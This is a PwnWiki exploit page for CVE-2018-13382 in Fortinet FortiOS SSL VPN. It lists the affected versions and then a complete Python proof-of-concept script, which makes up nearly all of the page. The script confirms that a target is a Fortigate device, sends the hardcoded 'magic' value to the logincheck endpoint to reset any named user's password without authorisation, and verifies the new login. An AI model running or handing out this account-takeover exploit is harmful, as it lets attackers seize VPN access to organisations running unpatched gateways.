CVE-2018-13382 Fortigate SSL VPN 後門

From PwnWiki

後門影響

Fortinet Fortios 6.2 Fortinet Fortios 6.0.5 Fortinet Fortios 5.6.9 Fortinet Fortios 5.4.11

POC

import requests, binascii, optparse, sys
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing
import colored
from user_agent import generate_user_agent, generate_navigator
bold=True
userAgent=generate_user_agent()
username=""
newpassword=""
ip=""
def setColor(message, bold=False, color=None, onColor=None):
    from termcolor import colored, cprint
    retVal = colored(message, color=color, on_color=onColor, attrs=("bold",))
    return retVal
def checkIP(ip):
    try:
        url = "https://"+ip+"/remote/login?lang=en"
        headers = {"User-Agent": userAgent, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
        r=requests.get(url, headers=headers, verify=False)
        if r.status_code==200 and "<title>Please Login</title>" in r.text:
            return True
        else:
            return False
    except requests.exceptions.ConnectionError as e:
        print e
        return False
def changePassword(ip,username,newpassword):
    url = "https://"+ip+"/remote/logincheck"
    headers = {"User-Agent": userAgent, "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://"+ip+"/remote/login?lang=en", "Pragma": "no-cache", "Cache-Control": "no-store, no-cache, must-revalidate", "If-Modified-Since": "Sat, 1 Jan 2000 00:00:00 GMT", "Content-Type": "text/plain;charset=UTF-8", "Connection": "close"}
    data = {"ajax": "1", "username": username, "realm": '', "credential": newpassword, "magic": "4tinet2095866", "reqid": "0", "credential2": newpassword}
    r=requests.post(url, headers=headers, data=data, verify=False)
    if r.status_code==200 and 'redir=/remote/hostcheck_install' in r.text:
        return True
    else:
        return False
def testLogin(ip,username,newpassword):
    url = "https://"+ip+"/remote/logincheck"
    headers = {"User-Agent": userAgent, "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://"+ip+"/remote/login?lang=en", "Pragma": "no-cache", "Cache-Control": "no-store, no-cache, must-revalidate", "If-Modified-Since": "Sat, 1 Jan 2000 00:00:00 GMT", "Content-Type": "text/plain;charset=UTF-8", "Connection": "close"}
    data = {"ajax": "1", "username": username, "realm": '', "credential": newpassword}
    r=requests.post(url, headers=headers, data=data, verify=False)
    if r.status_code==200 and"redir=/remote/hostcheck_install" in r.text:
            return True
    else:
        return False
parser = optparse.OptionParser()
parser.add_option('-i', action="store", dest="ip", help="e.g. 127.0.0.1:10443")
parser.add_option('-u', action="store", dest="username")
parser.add_option('-p', action="store", dest="password")
options, remainder = parser.parse_args()
if not options.username or not options.password or not options.ip:
    print "[!] Please provide the ip (-i), username (-u) and password (-p)"
    sys.exit()
if options.username:
    username=options.username
if options.password:
    newpassword=options.password
if options.ip:
    ip=options.ip
tmpStatus=checkIP(ip)
if tmpStatus==True:
    print "[*] Checking if target is a Fortigate device "+setColor(" [OK]", bold, color="green")
    if changePassword(ip,username,newpassword)==True:
        print "[*] Using the magic keyword to change password for: ["+username+"]"+setColor(" [OK]", bold, color="green")   
        if testLogin(ip,username,newpassword)==True:
            print "[*] Testing new credentials ["+username+"|"+newpassword+"] "+setColor(" [OK]", bold, color="green")
            print "************** Enjoy your new credentials **************"
        else:
            print "[*] Testing new credentials ["+username+"|"+newpassword+"] "+setColor(" [NOK]", bold, color="red")
    else:
        print "[*] Using the magic keyword to change password for: ["+username+"]"+setColor(" [NOK]", bold, color="red")            
else:
    print "[*] Checking if target is a Fortigate device "+setColor(" [NOK]", bold, color="red")